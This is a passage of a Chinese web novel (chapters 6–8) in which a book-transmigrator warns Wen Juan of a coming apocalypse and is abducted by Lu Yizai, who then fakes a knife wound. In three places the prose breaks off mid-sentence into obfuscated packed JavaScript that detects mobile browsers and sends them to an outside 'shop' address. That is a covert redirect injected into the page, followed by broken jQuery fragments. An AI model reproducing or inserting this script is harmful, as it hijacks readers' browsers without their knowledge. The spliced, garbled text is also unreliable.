但他一度被风刮走,清瘦的身形完全无法在暴风雨中站稳,最终只能略显狼狈地扶住路边的电线杆。 温倦拧着眉,他的心跳不正常地变快,皮肤泛起不自然的红,体温在极短的时间内开始飙升。一种难以言喻的不安开始蔓延。 “hey——” 惹眼的跑车一路轰鸣,溅着水花开到了温倦面前,驾驶座的楚尽风探出头来,露出看热闹似的得意模样,对温倦说,“又见面了,真巧啊。” 温倦面无表情地看着他。 雨将温倦全身打湿,半长的栗色头发可怜地耷拉下来,一双金色琥珀般的眼睛在雨幕中泛着异样的光。 他应该是落魄脆弱的,但却露出了居高临下的神态。 楚尽风笑容忽然一僵,竟然有种自己被看穿了的感觉,但随即又意识到不可能。他是高于这个世界的存在,他比这些活在故事里的NPC拥有更多的“信息”,他站在上帝视角俯瞰他们,他怎么可能被一个在原文中连人设都没有固定的炮灰给看穿? 楚尽风决定换一个方式搭话。他稍微拿出了真诚的口吻,对温倦说:“上车吧,这个雨一时半会儿不会停,我送你回家。” 温倦理也没理他,转头看向了另一个方向。 楚尽风气得想笑:“你……你到底为什么这么不待见我?你对明星有偏见?还是说,你对所有跟你搭讪的人都这么冷酷?” 这时,又一阵狂风袭来,街边停放的共享电车都被齐齐掀翻。不少人被风刮得跌倒在雨中。 温倦努力抱住电线杆,但下半身还是被风卷了起来,双脚几乎悬空。 楚尽风看到这一幕也有些惊讶:“你是不是太瘦了?” 他犹豫了片刻,还是推开车门走了出来。 不完全是因为想借着帮忙的由头接近温倦,还有一个重要原因是,短短几息功夫,雨势又大了许多,街道肉眼可见地开始积水。 跑车底盘低,被淹只是分分钟的事,他现在不下车,等下就更麻烦了。 楚尽风冒着雨跑到温倦身边,一把将人从半腾空的状态拽了下来:“不管你是为什么不待见我,现在咱俩都应该找个地方避雨,你觉得呢?” 温倦即便在这样狼狈的情况下,依然只是很平静地看着楚尽风,但他这次终于不再拒绝楚尽风,反手抓住楚尽风的胳膊以防再次被吹飞:“去旁边的商业街。” “好啊。”难得不再是冷漠的无视,楚尽风竟然有种受宠若惊的感觉,“你可得抓紧我啊,别被吹飞了。” 温倦没有跟他客气,他借着楚尽风稳住自己的脚步,两个人往不远处的商业街走去。 许多人都跑到这里来躲雨,假期里冷清的商业街现在竟然人满为患。 好不容易找到个空地,温倦松开楚尽风,几不可闻地说了声“谢谢”,就独自走向角落。 楚尽风自然不可能放过这个大好的攻略机会,凑过去,趁热打铁地和温倦聊天。 “咱俩这算不算共患难?” “……” “你看看,要不是我,你这会儿说不定都在天上飞了。我算不算你救命恩人?” “……” “不过你真的太瘦了,这样很不健康。我为了上镜已经减重很多了,没想到你比我还轻。” “……” “喂,喂,不是吧,真的一句话都不说啊?” 自说自话了好一会儿,楚尽风不得不接受现实。温倦仍然不打算和他说话。 他反反复复被温倦驳了面子,现在都有点麻木了,兀自坐下,和脑子里的系统聊起闲天来。 雨就这样下了一整天。 这已经不是普通的天气变化,整条街道都被淹了,处在高位的商业街一楼也淌了近一米深的水。 越来越强烈的风把无数店铺的门窗玻璃撞得哐当作响,空中飞舞着各种东西的残骸, 温倦去到楼顶,也不顾头顶倾盆大雨,扶着围栏看向整座城市上空黑压压的雨雾,有种喘不过气的感觉。 楚尽风倚在不远处的楼道口,看着温倦单薄的身影,忽然评价:“其实他完全长在我的审美上。” 【……】系统并不想对此发表意见。 因为它在楚尽风看到温倦的第一眼,就已经从各种数据中分析出了这个结果。 楚尽风感慨:“可惜恋爱只会影响我的任务进度。” 系统:【事实上就算你想恋爱也没用,温倦生前不爱任何人。即便是文中的陆亦哉,也是157次告白,157次失败。】 “在一本百万长篇小说里从头到尾没谈过一次恋爱的家伙,他和我能有什么可比性?” 【是的。】系统道,【比不上宿主在无数本爽文里开后宫的本事。】 楚尽风满不在乎地笑了笑,随后又问了个很不应景的问题:“原文里的陆亦哉,对他这个死去的白月光了解多少?” 【陆亦哉知道温倦的异能特殊,但不知道这股力量来自温倦体内的进化源。不过,他曾在温倦的帮助下突破了第三阶段进化。按照原文设定,无论是变异生物还是觉醒异能的人类,只要受到过进化能量辐射,就能在一定程度上感应到进化源。所以,陆亦哉应该对温倦体内的力量有所猜测,只是文中没有明确提及。】 “我倒不是问这个……”楚尽风想了想,换种问法,“现在这个时间线的陆亦哉,应该和温倦没有感情戏吧。” 【没有。】系统说,【原文中,陆亦哉明确的感情转变是在末日来临后。】 “也就是说,现在的温倦,身边一个人也没有。” 【如果以绝大多数人类对亲密关系的定义来判断,温倦确实孑然一身。并且,他在主动与人拉开距离。】 “守着只有自己知道的秘密,孤独地等待未知的审判,听起来真可怜……” 楚尽风眉梢微微一挑,好似想到了什么有趣的事, “我想,我应该换一种攻略方式。” - 天色从下午开始就完全沉下来,不看时间几乎无法判断现在是白天还是黑夜。 在商业街避雨的所有人,都感到某种类似的不安,无论认不认识,大家都不自觉地挤凑在一起,借着相互的身体支撑,默默地等待这场让所有人都猝不及防的雨停下。 “总觉得最近的天气很奇怪……” “是啊,前两天夜里还下雪了,真是见鬼。” “这都快赶上台风过境了吧,天气预报也没有提前通知啊!” “今天还能走出去吗?我手机被泡坏了,联系不上家里,他们肯定担心坏了。” “呜呜呜,老妈,今天不用等我回家吃饭了。” 一直到夜里,风才消停下来,雨势也渐渐小了。大家终于看到了救援船只。 救援队将被困在这里的人分批次带去了地势较高处,随后又急忙返回积水最严重的区域接着救援。 人们到了相对安全的地方,总算松了一口气。大家情绪终于缓和,不少人在想办法借手机给家里人打电话。 温倦站在人群边缘,一直很沉默。 “很晚了,这个地方离你家应该有一段距离,我送你回去吧。我叫了司机过来。” 许久没有主动搭话的楚尽风,不知何时又凑到了温倦身边。 他把湿发往后捋,做了个潇洒的大背头造型,耍酷地冲温倦挑了挑眉。 温倦嫌弃地退了两步:“离我远点。” “你好凶哦。”楚尽风捧着脸,装模作样地伤心了一会儿。 就在温倦打算再次无视这人的时候,他忽然听到楚尽风压低了声音,用只有两个人能听见的音量,说: “我知道你的秘密,温倦。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楚尽风却自来熟得很,自顾自地便挤了进去:“我浑身都湿透了,想洗个澡再聊。” 温倦垂在两侧的手微微攒紧,一言不发地盯着楚尽风的背影。 【宿主,系统检测到温倦对你起了杀心。】 楚尽风的脚步一顿,笑容凝固在嘴边。 他万万没想到,温倦一副弱不禁风的柔弱模样,居然是个动不动就想杀人灭口的性子。 他很识时务地转过身来,对温倦客客气气地说:“我突然不想洗澡了,来吧,我们来好好聊聊。” 楚尽风给这个话题起了个头:“你一定很好奇我是谁——” “我不好奇你是谁,我也不想听你分享你的秘密。”温倦打断他,“你只需要告诉我,关于我,你知道多少。” “……哈。” 楚尽风笑起来,在脑子里问系统,“如果我告诉他,我知道他的一切,他是不是就打算在这里把我灭口?” 系统说:【根据目前温倦展现出来的性格模型推演可得:温倦把宿主灭口的概率超过60%】 楚尽风:…… 其实他也不必担心被温倦灭口,有系统这个金手指在,只要对手没有主角光环,他都不用太担心。 一般来说,面对书中越重要的角色,系统可以干预的权限就越低。 相反,像温倦这样只出现在回忆中的人物,基本等同于炮灰路人,系统可以轻松定位他、检测他的情绪数据,以及调取他的所有剧情资料。 如果温倦真的要对楚尽风动手,系统自然有办法让楚尽风化险为夷。 但温倦这个人对楚尽风来说,太有用了。 各种意义上,都很有用。 能攻略下来并收为己用是最好的,他并不打算和温倦打起来。 “其实,我是一个穿书者,而你,温倦,是一本小说中的人物。” 楚尽风最终决定给温倦抛出一个足够有冲击力的钩子,让温倦对他接下来要说的话产生兴趣,才能保证他们可以继续聊下去。 “我不仅知道你的秘密,我还知道这个世界过去现在未来所发生的一切。而我之所以找到你,是想告诉你,这个世界即将迎来末日——我想你也感觉到了,有很多不可控的事情正在发生,末日来临时,没有人能独善其身,即便是你。” 他表面镇定,实则不知不觉加快了语速,唯恐温倦听到一半就对他下手: “温倦,我不是你的敌人,不仅如此,我还愿意把我知道的一切都告诉你。我会向你证明,在这个世界上,我是你唯一可以信任的人。” - 7.第 7 章 世界末日会在半年后,以所有人都意想不到的方式降临。 不同于灾难电影里震撼人心的各种特效,事实上最初的死亡,是悄无声息的,没有人们撕心裂肺的尖叫伴随高楼大厦的倾塌,只是在某个寻常的夜里,许多人陷入了一场看起来平平无奇的高烧。 他们当中小部分的幸运儿,会在高热中觉醒异能,拥有非凡的力量,变得无比强大。 据后来的生物进化研究学者所说,觉醒的异能越强大,最初发热持续的时间就越久,但能活下来的概率也就越小。 记录在册的最长发热期,长达一个月,而大多数异能者的觉醒时间通常在三至五天。 但最初,没有人知道这些。 人们在一无所知中,迎来了末日。 太阳升起时,城市早已被入侵的变异生物占领,紧随其后的,是难以预测的风暴冰雪地震海啸。 当终于意识到发生了什么以后,人类在军队的带领下迅速集结逃亡。 只是,那些正待觉醒异能的人们,身上所散发出来的属于进化的气息,对于变异生物来说是美味又富有营养的养料。 他们当中的绝大多数人,在昏迷中就已经沦为了异种的腹中餐。 等到人类从这场灾难中缓过神来,才发现,本该是进化受益者的异能者们,最终的存活数量,却仅占全世界幸存者人口的万分之一。 而活下来的那一批异能者,大多都一些力量比较薄弱,早早结束发热期的幸运儿。 人类在猝不及防的大进化中输在了起跑线。 “值得一提的是,联盟军队的反应速度很快,几乎在变异生物入侵的第一时间就进行了有效的救援,并成功带领大批幸存者从危险中心撤离。军队里有不少觉醒异能的军人,也许是平日里训练有素,灾难来临的时候倒是个个冷静,也没有因为身边的战友忽然发热而自乱阵脚,他们将昏迷的异能者照顾得当,最终,军队里的多数人都活了下来,他们是末世异能者的最强战力之一,也是联盟政府得以快速重整,并建立起人类基地的原因。” 楚尽风评价道,“不过,所谓的最强战力,也只是因为人类基地的异能者太少,矮子里面拔高个儿。事实上,从末世第二年开始,就有很多散落在外的异能者进入了二次进化,那些占山为王的家伙实力早已强过联盟军队。” “所以人类基地在脱离了最初的危机后,就很着急想要提升异能军团的战斗力,而同时,其他各个势力的首领也一样不甘示弱,人们为了变强不择手段——” 他顿了顿,看着温倦,忽然露出一个意味不明的笑,生硬地将上一个话题终止,说道,“总之,那是个真正意义上的乱世。” 温倦从头到尾保持沉默。 楚尽风不觉扫兴,滔滔不绝地将他知道的信息与温倦共享。他给出的这些,都是早于主线的前置信息,所以系统没有判定他剧透。 只要不涉及到主线和关键人物的剧情,任何边角料的剧情都随他发挥。 楚尽风给温倦说了很多关于人类基地的事情,但温倦看起来不太感兴趣。 他又很快将话题转到了生物变异和人类觉醒异能这件事上。 温倦果然听得认真了一些。 “以上,差不多就是末日初期的一些情况,人类虽然输在了进化的起跑线,但所幸,后来居上。他们花费了不少功夫重建家园,清扫变异生物,逐步扩大基地,慢慢的,也算是在末日中安稳了下来。” “直到后来陆——” 楚尽风刚说到一半,就听见系统的警告: 【宿主,关键人物的剧情不能剧透,会受到惩罚,请谨慎发言。】 楚尽风把到嘴的名字绕了个圈,说:“——直到后来反派大boss突然黑化,人们才后知后觉发现,原来末日里最可怕的,不是天灾或变异生物,而是一个异能者,一个强大却疯狂的人类。” “反派大boss嗜血好杀草菅人命残忍无情,他黑化后杀了许多异能者,夺走他们的能量核,摧毁掉幸存者辛苦重建的家园,掐灭了人类最后的希望……” 【宿主,你这根本就——】 “你别一直说话,影响我发挥。”楚尽风在脑子里回了句,“这又不是主线,没关系。” 还不等系统继续说话,一直沉默的温倦先开口了。他问楚尽风:“你说的这些,从哪里开始和我有关?” 楚尽风笑了笑,说:“从你带着陆——” 【宿主,再次强调,与陆亦哉有关的算作主线剧情,剧透会被扣积分。】 楚尽风蹙眉,想着怎么避开陆亦哉的剧情跟温倦说明情况,结果发现,原文里所有提及温倦的篇幅,到处都有陆亦哉的影子。 无语了。 温倦看楚尽风犹豫,心中的怀疑更甚:“你说你知道我的秘密,但你的这些故事里却从头到尾没有提到我,是还没来得及把我编进去?” “……是我没想好该怎么和你说。”楚尽风苦笑,“温倦,你在这个故事里的结局并不算好。我怕直截了当地告诉你,你会不高兴。” “没有什么事情比浪费十分钟听你讲一个与我无关的故事还让人不高兴。” 温倦抬起手来,抱着胳膊,清凌凌的目光瞥视楚尽风,“我的耐心只剩下三十秒,你最好在三十秒之内让我相信,你不是在胡言乱语。” 楚尽风做出投降的姿态,说:“温倦,我知道你是什么,也知道你拥有什么能力。你相信我,我说的这些都是真的。” 温倦的眉梢几乎不可控地抽搐了一下,但还是尽可能维持平静,看着楚尽风:“你知道,我是什么?” 楚尽风友善微笑:“没错,我比你想的更了解你。甚至有些你不知道的事,我也知道。啊对了,你想不想看看你父亲生前的实验手记?也许……” 他以为他和温倦对上了“暗号”,然而温倦的眼神却在一瞬间冷下来:“闭嘴!” 楚尽风甚至没有看清温倦做了什么,就猛地感觉到周围气温迅速升高。灼热的气流几乎烧得他发痛。 “我是什么,不需要你来告诉我。”温倦朝他迈近一步,与此同时,那种灼烧的感觉越发强烈。 楚尽风额头冒出汗来,勉强地维持着脸上的笑容:“等等等等,我想你可能误会了,我是想告诉你,我知道你,所以我了解你,你对人类而言至关重要,对我更加重要,我们可以成为同伴!” “事到如今我也不瞒你了,其实,我穿书的任务是拯救世界,只要我们合作,一定可以改写未来!” “凭你?”温倦冷哼一声。 楚尽风一边举起双手表示自己无害,一边想办法安抚温倦:“凭我和你。” 温倦仍旧戒备地看着他:“你不是说末日最危险的是反派吗?既然你想拯救世界,就应该直接去找反派,在他觉醒异能前把他杀了,来找我,岂不是绕了个大弯?” 楚尽风摇摇头:“不,找到你,就是我最要紧的事。” 温倦莫名觉得楚尽风刚才看他的眼神有点奇怪,他问:“为什么?” “因为,你就是反派大boss——” 声音戛然而止。 温倦眼睁睁看着面前的男人像一滩化了的泥水一样瘫倒在地。 而陆亦哉就这样出现在那里,很突然,很不合理。 温倦摘下眼镜,揉了揉疲劳过度的眼睛,怀疑自己今天被风吹雨打后把脑子淋坏了,出现了幻觉。 陆亦哉从哪儿冒出来的?楚尽风怎么晕倒了? 重新戴上眼镜,他看到陆亦哉用脚把楚尽风一点点踢到了角落。 温倦确认这不是幻觉,猛掐自己人中,以防被气死过去: “陆亦哉,你在干什么?你为什么把人打晕了?” 陆亦哉眨了眨眼,看着温倦,一脸无辜:“……他说老师是反派大boss。” “笑话,我怎么可能是反派大boss。”温倦想也不想就反驳,但说完,却又有些不自信。 他想到刚才楚尽风说的那番话,确实有点像在暗指他未来会黑化成为大反派…… “我应该,不是反派大boss吧……?” 虽然温倦不想承认,但他其实已经严重不自信。 “当然不是了,老师怎么可能是坏人呢?老师是这个世界上最善良最温柔最无私最正直的人,硬要说的话,我觉得我都比老师更像反派呢。” 陆亦哉生得五官端正,相貌英俊,眉宇间正气凛然,整个人的气质都坦荡真诚,他无论说什么,都给人一种绝对发自真心的感觉。 温倦揉着眉心:“你才更不像反派吧。” 从头到脚都写着善良单纯的家伙。 “真的吗?”陆亦哉开心地凑近温倦,伏下身子在温倦肩头撒娇一般地蹭了蹭,“老师觉得我不像,那我肯定就不是反派。” 温倦满脑袋都是理不清的思绪,像线团似的缠着他,叫他分不清眼下到底应该先思索哪一条,他一时沉默了下来,低头看向昏迷不醒的楚尽风。 末日的论调给温倦本就不平静的心砸下一颗巨石,虽然他对楚尽风这个人并不信任,但却不能不怀疑楚尽风说的话也许是真的…… 一只手忽然捏住了温倦的脸颊,把他的思绪拉回来。 温倦不敢置信地看着陆亦哉:“你找死?松手。” 陆亦哉难得跟他唱反调,另一只手也捏上来:“老师不要想了,这个人是疯子。” 温倦拍开他的手,看向地上的楚尽风,心不在焉地说:“等他醒了再说……” “老师,我们不要为这种疯子说的胡话担心。”陆亦哉走过去,挡住了温倦的视线,一把将昏死过去的穿书者拎起来,用一双小狗似的圆眼睛望向温倦,“我现在把他送去精神病院,如果医生说他没病,再让他跟老师好好说。万一他脑子不正常怎么办?我不放心把他留在老师这里。” 温倦蹙了蹙眉,虽然陆亦哉说的也没错,但他总感觉哪里怪怪的:“但……” “老师,时间不早了,你快点去洗个热水澡,好好休息吧。” 陆亦哉的劲儿很大,一只手就把楚尽风给拽了起来,毫不费力地将人拖出了屋。 温倦在后面跟了两步,想着要不要一起去医院,但身上湿漉漉的衣服很不舒服,他现在确实应该先洗个澡。 就在他迟疑的时候,陆亦哉已经站在了房门口同他道别:“老师,我们明天联系。晚安。” 门一关上,温倦呆呆地站了片刻。 他刚才的心思都放在了楚尽风的事情上,完全忘了另一件事—— 凌晨两点,陆亦哉怎么在他家? - “……操!” 楚尽风刚醒来,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864952|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见陆亦哉用一双毫无情绪波动的墨色眼眸冷冷盯着他。 那一瞬间的对视,他几乎感觉不到陆亦哉这个人的生气。如果不是陆亦哉还在呼吸,楚尽风甚至怀疑这是一尊雕像。 但很快,陆亦哉对他露出了一个还算友善的笑。 楚尽风回想着原著小说对陆亦哉这个人物形象的刻画,反复确认了很多遍,松了一口气——在这个时间线上,陆亦哉还没有经历后来的种种,也没有觉醒强大又可怕的异能。 他现在还是个热情开朗正直无害的青春男大。 于是楚尽风也对陆亦哉展露了一个友好的笑容。 楚尽风的反应还算很冷静。 即便他现在正被陆亦哉绑在某个废弃烂尾楼的顶层,受着冷风吹,但他还能在最快的时间内按捺住内心的恐惧不安,思考应对方法。 他已经在系统的提醒下得知发生了什么,所以也没有浪费时间隐瞒自己的身份。 考虑到现在陆亦哉人设还没有黑化,他果断对陆亦哉进行了一番游说: “你是陆亦哉?真是意外,我没有想到今天就会和你见面。” “也许是老天的安排,目的就是为了让我来帮助你——你应该也听到了我对温倦说的那番话,没错,世界末日就在半年后。” “陆亦哉,其实你是书中的重要人物,比温倦重要得多。关于你的剧情我无法透露太多,但有一点我可以告诉你——你会成为一个强大的异能者,但同时,也会失去很多。而我,可以帮你改写未来,我会让你得到你想要的,并且不用经历那些生离死别。” 楚尽风用充满诱惑力的条件循循善诱。 陆亦哉仍是笑,时不时还接他的话:“那你更想和我合作,还是和温倦合作?” 楚尽风没有掉入他的陷阱,说:“你们本来就是一路人,我和你们中的任何一个合作,都是一样的。” “啊。”陆亦哉露出惊喜的表情,“你好像知道我喜欢听什么。” “那当然,我很了解你。”楚尽风笃定地笑了笑。 “太好了,那我们从现在开始就是同伴了。”陆亦哉对他伸出手来,“合作愉快啊。” 楚尽风嘴角抽了抽,忍着吐槽的心情,提醒他:“我被你绑着,握不了手。你看是不是先给我松开?” 陆亦哉点点头:“哦,我绑得太死了,得去找点东西来帮忙。你等等我。” “好,我等你。”楚尽风微笑目送陆亦哉转身离开。 他敛了笑容,对系统吐槽:“黑化前的陆亦哉简直是个小屁孩儿,亏我之前还想方设法避开他,没想到他这么好骗。不过他为什么打晕我还把我绑这里来?这小孩是不是警匪片看多了。” 系统没有接他的茬,而是用严肃的语气说:【宿主,我建议你现在立刻使用积分兑换逃生技能。】 “何必。”楚尽风不解,“我积分剩的不多,别浪费了。这个陆亦哉我能搞定。” 【你搞不定。】系统毫无感情地告诉他,【陆亦哉要杀你。】 “……什么?!” 【他回来了,你还有十二秒的时间。】 “等等,不是,这两个人怎么都喜欢用杀人灭口来解决问题啊?” 【10,9,8……】 “立刻兑换技能!” 【好的宿主。】 …… 陆亦哉站在方才绑住楚尽风的地方,阴冷的夜风穿过这栋摇摇欲坠的楼房,卷起他脚下的灰尘。 楚尽风就这样在他眼皮子底下逃走了。 似乎是意料之中的事,陆亦哉显得很平静。 他想了想,忽然掏出手机,给温倦打了个电话过去。 温倦竟然还没睡,也许是因为今天发生的事太多,导致他失眠了。 他很快接起了电话,问陆亦哉:“怎么,他醒了?需要我去医院吗?” “对不起,老师,他跑掉了。” 陆亦哉耳朵贴着电话,语气有些委屈,但他的动作却与他现在表现出来的情绪毫无关联——他用刀在手臂上划了一道血淋淋的口子,看起来触目惊心。 他一边欣赏自己的伤,一边对温倦哭诉,“我本来想送他去医院,结果他半路上醒了,突然拿出刀来捅我……幸好没有让他留在老师家里,他果然是个疯子。” 温倦听得呼吸一滞:“他伤到你了?” “老师不要担心。虽然伤口一直在流血,还有点疼,但是也没什么要紧,我得先去找到他,万一他又去找老师怎么办?” “胡闹!”温倦声音严厉,“你马上去医院。” “不要,我担心他会去找老师。” “……那你告诉我你在哪儿,我来找你。” “老师,现在好晚了,而且去医院的那条路也被淹了,很不方便。你别担心,我抓到人就回家。” 温倦听得头疼:“陆亦哉,你是不是脑子不好使。他身上有刀,你跑去给人当靶子吗?……这样,要是伤得不严重,你先来我家,我这里有急救箱。” “啊。”陆亦哉甩了甩手上的血,语气开心,“那我现在过来,老师饿不饿,我给你买点夜宵?” 温倦无奈:“买什么夜宵,赶紧给我滚过来。” “好的老师。”陆亦哉脚步轻快地从断裂的楼梯往下跳了一层,“我马上到。” - 8.第 8 章 “嘶……好疼好疼。” “老师,能不能不上药啊,伤口都没流血了,我看它肯定能自愈,要不就不管了吧——哇!” 温倦冷不丁地停下手里动作,抬眼看陆亦哉,在陆亦哉哇的那一瞬间,抛出冷酷的三个字: “憋回去。” 陆亦哉就像是接收到指令的机器似的,下意识就闭上了嘴,生生把眼泪吞进肚子里,抿着嘴可怜巴巴地看着温倦,一个字都没敢再说。 耳朵总算清净了。 温倦垂下头,继续给陆亦哉清洗伤口,把已经凝固的血痂清理掉以后又喷上一层药,这才给他包扎。 他全程不说话,但眉心微微蹙着,每当陆亦哉因为疼痛而抽气或颤抖时,温倦面上不显,实则还是没忍心,偷偷放轻了动作。 “伤口不要碰水,明天最好还是去一趟医院。” 温倦收好药箱,看了陆亦哉一眼,发现对方像一条被批评的小狗似的噘着嘴等他训话,无声叹气。回头把茶几上的抽纸扔到陆亦哉怀里。 “都几岁的人了,还像小时候一样动不动就哭,像什么样子?还有,你那身肌肉是白练的吗?他发疯,你就站着让他拿刀捅?你小时候学的那些拳脚功夫都还给你教练了?丢人的东西。” 陆亦哉被骂了一顿,丝毫不觉得难过,抱着抽纸凑上前去,厚着脸皮问:“老师是觉得我的身材很好?” 温倦忍着翻白眼的冲动,一根手指把他脑袋戳开:“你是一点儿不听重点。” “我听到重点了啊。”陆亦哉眼睛亮晶晶,“你说我有肌肉。” “我说你肌肉白练了。” “所以你看到我有肌肉了!” 温倦匪夷所思地看着他:“你嘚瑟什么?谁在乎了。” 陆亦哉才不管他在不在乎,当场撩起自己衣摆,展示腹肌:“老师你看——” “你别……”温倦推辞了一下,但余光不自觉地瞥了一眼,看到那犹如雕塑般华丽精悍的八块腹肌后,平静地说,“一般。” 陆亦哉嘴巴一瘪。 “不许哭!” “……哦。” 两人无声僵持片刻,温倦看他那副满腹委屈的模样,没招了,只好坦诚:“其实还可以。” 话音未落,陆亦哉已经三两下把自己衣服全部扒光,阳光灿烂慷慨大方地说:“我还练了别的地方,老师要看看吗?” “不看,我不看。你把衣服穿上。”温倦嚯的一下站起来,猛揉眉心,“时间不早了,我要睡了。” 陆亦哉很遗憾地重新穿上衣服,眼巴巴看着他:“那我睡哪里啊,老师。” 温倦:“沙发。” 陆亦哉:“可是老师,你家沙发好硬。” 温倦看也不看他:“那你回自己家。” 身后的陆亦哉沉默了下来,温倦以为他接受了这个安排。 没想到,就在温倦走进卧室的时候,他听到陆亦哉幽幽开口:“……我一回家就会想到我爸,他到现在还没回家,电话也不接,不知道究竟发生了什么。老师,要不我报警吧?” “不。”温倦从卧室退出来,看向陆亦哉,“你爸要是真出事了,警察自然会找你。既然现在没有传来任何坏消息,那就说明什么事都没发生。” “可是……”陆亦哉也不知听没听进去,犹犹豫豫地摸出手机。 “你都二十岁了还没学会独立生活吗?”温倦三两步走过来,夺走他的手机,“大晚上的别没事找事,给你十分钟时间洗漱,然后上床睡觉。” 陆亦哉闻言,立刻脚下生风,闪电般地钻进浴室。 “伤口别沾水。”温倦提醒。 “唔唔!”陆亦哉含着漱口水应了一声。 十分钟后,陆亦哉已经站在卧室门口,上身衣服消失,下身只围了一条浴巾,一脸期待地望着温倦。 “……你洗澡了?”温倦惊讶。 陆亦哉猛点头:“我怕弄脏老师的床。” 温倦本意只是让陆亦哉简单收拾一下,没想到陆亦哉还挺懂事,知道把自己打理干净。 “没碰到伤口吧?” “没有。”陆亦哉骄傲地举起手来,“我这样洗的。” 温倦哭笑不得,心说这孩子怎么还跟以前一样,耿直得有些呆,透着股傻里傻气的老实劲儿:“行了,赶紧睡觉。” 温倦已经记不清有多久没和陆亦哉睡在同一张床上。 上一次他们这样亲近,已经是七年前。 那会儿的陆亦哉还没蹿个儿,身材在同龄人中也只算平均水平,睡觉时老爱往他哥怀里钻。 温倦也很会溺爱孩子,那时抱着和他差不多身形的少年,还能充当家长的姿态,拍拍背哄陆亦哉睡觉。 转眼过去这么多年,温倦没想到陆亦哉有朝一日还能钻他的被窝。 “陆亦哉,你拱什么呢?” “对不起,老师。”陆亦哉往边上缩了缩,“床有点小。” 他大半边身子都悬在外面。 “所以才让你去睡沙发。”温倦无奈。 “没事没事,我觉得这张床很舒服,比学校寝室的床大多了。”陆亦哉乐观地笑着,“晚安老师,快睡吧。” 两个人都闭了眼。 也不知过了多久,温倦精神活跃地在脑子里思索白天发生的事情,正在纠结楚尽风究竟是精神病还是穿书者的时候,忽然听到身后传来“咚”的一声。 温倦:“……” 陆亦哉轻手轻脚从地上爬起来,小心翼翼掀起被子钻了进去。 温倦能够想象到,陆亦哉这一觉睡得有多难受。 老房子的户型不太合理,客厅很大,但卧室极小,因此温倦一直都睡的单人床。 他这张床,让陆亦哉一个人睡都不太好翻身,更何况现在是两个人。而且陆亦哉怕挤到他,还挂了半边身子出去。 他叹了声气,虽然与陆亦哉多年隔阂,按理说情感上已经算半个陌生人,但此时此刻两个人睡在一起,又难免让他回忆起小时候兄友弟恭亲密无间的样子。 温倦再次心软,伸手过去,拍拍陆亦哉的肩:“睡过来点。” “嗯嗯。”陆亦哉十分感动,一个翻身,正正好贴上温倦。 结实有力的手臂无比自然地将温倦捞入怀里。 温倦:“干什么?” 陆亦哉:“我怕睡着了会把老师挤下去,这样抱着比较稳当。” “热。”温倦感觉自己好像被一个巨型火炉给罩住了。 “不热的。” “我说我热。” “哦哦。” 片刻后,陆亦哉打开了空调。温度低至16℃。 他再次把温倦搂进怀里:“好啦,现在不热了。” 温倦:“……” 温倦一生虽然没有怎么行善积德,但也不曾做过坏事,然而此刻他却感到自己正在遭受某种迟来的报应。 溺爱教育会毁了孩子! 看看陆亦哉,小时候那么聪明机灵,长大了却跟个傻大个儿一样,尽做些令温倦无法理解的事。 “老师,睡吧。”发现温倦直挺挺地躺着,无法放松,陆亦哉出声安抚道,“不要害怕。” 我有什么好害怕的。莫名其妙。 温倦在心里嘟囔。 这时,陆亦哉的手掌带着他的体温,忽然抚上了温倦的背。 温倦有一瞬间的僵硬,下意识想推开他。但很快,温倦发现陆亦哉的手在以一种轻柔和缓的节奏,一下一下地轻拍他的背。 就像他小时候哄陆亦哉睡觉一样,现在换成陆亦哉哄他睡觉。 温倦真想扒开陆亦哉的脑子看看,这孩子是不是个傻的。拿哄小孩儿那一套来对付他?看不起谁? 但奇怪的是,他一直焦虑不安的大脑竟真的在这一刻安宁下来。 温倦困了。 - 第二天,温倦是在噩梦中惊醒的。 他梦到自己变成了一块面包,正在烤箱里接受炙烤,已经超出了烘焙时间,迟迟没有人把他从烤箱里拿出去。 他即将变成一块焦糊焦糊的坏面包。 温倦猛的一下睁开眼,发现自己动弹不得。陆亦哉的双手将他搂得死死的,双脚还把他下半身给夹住了。 他深吸一口气,然后猛地一头撞上陆亦哉的下巴,把人给撞醒了。 陆亦哉吃痛,嗷一嗓子醒过来,看到怀里的温倦,忽然羞涩一笑:“早上好,老师。你的脸好红啊。” “知道我为什么脸红吗?”温倦气得又给了他一个头槌,“因为我喘不上气了!” “对不起对不起,老师对不起……” 陆亦哉手忙脚乱地放开温倦,从床上跳下来,乖巧地站在地上,等待被训话。 温倦一肚子起床气,在看到他那副老实巴交的模样后,又觉得气不起来了,憋了半天,最后只能坐起来给自己顺了一口气,说:“算了。” 跟小孩子生什么气。 他戴上眼镜,下了床。陆亦哉亦步亦趋地跟着他。 “我要洗漱,你跟着我干什么。” “老师今天想吃什么早餐?” “不吃。” “吃吧吃吧。”陆亦哉拿出手机开始翻找,“不知道今天路面状况怎么样,可能有些外卖送不了。我看看老师冰箱里有什么,我给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875075|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做——好的,老师冰箱里什么都没有。” 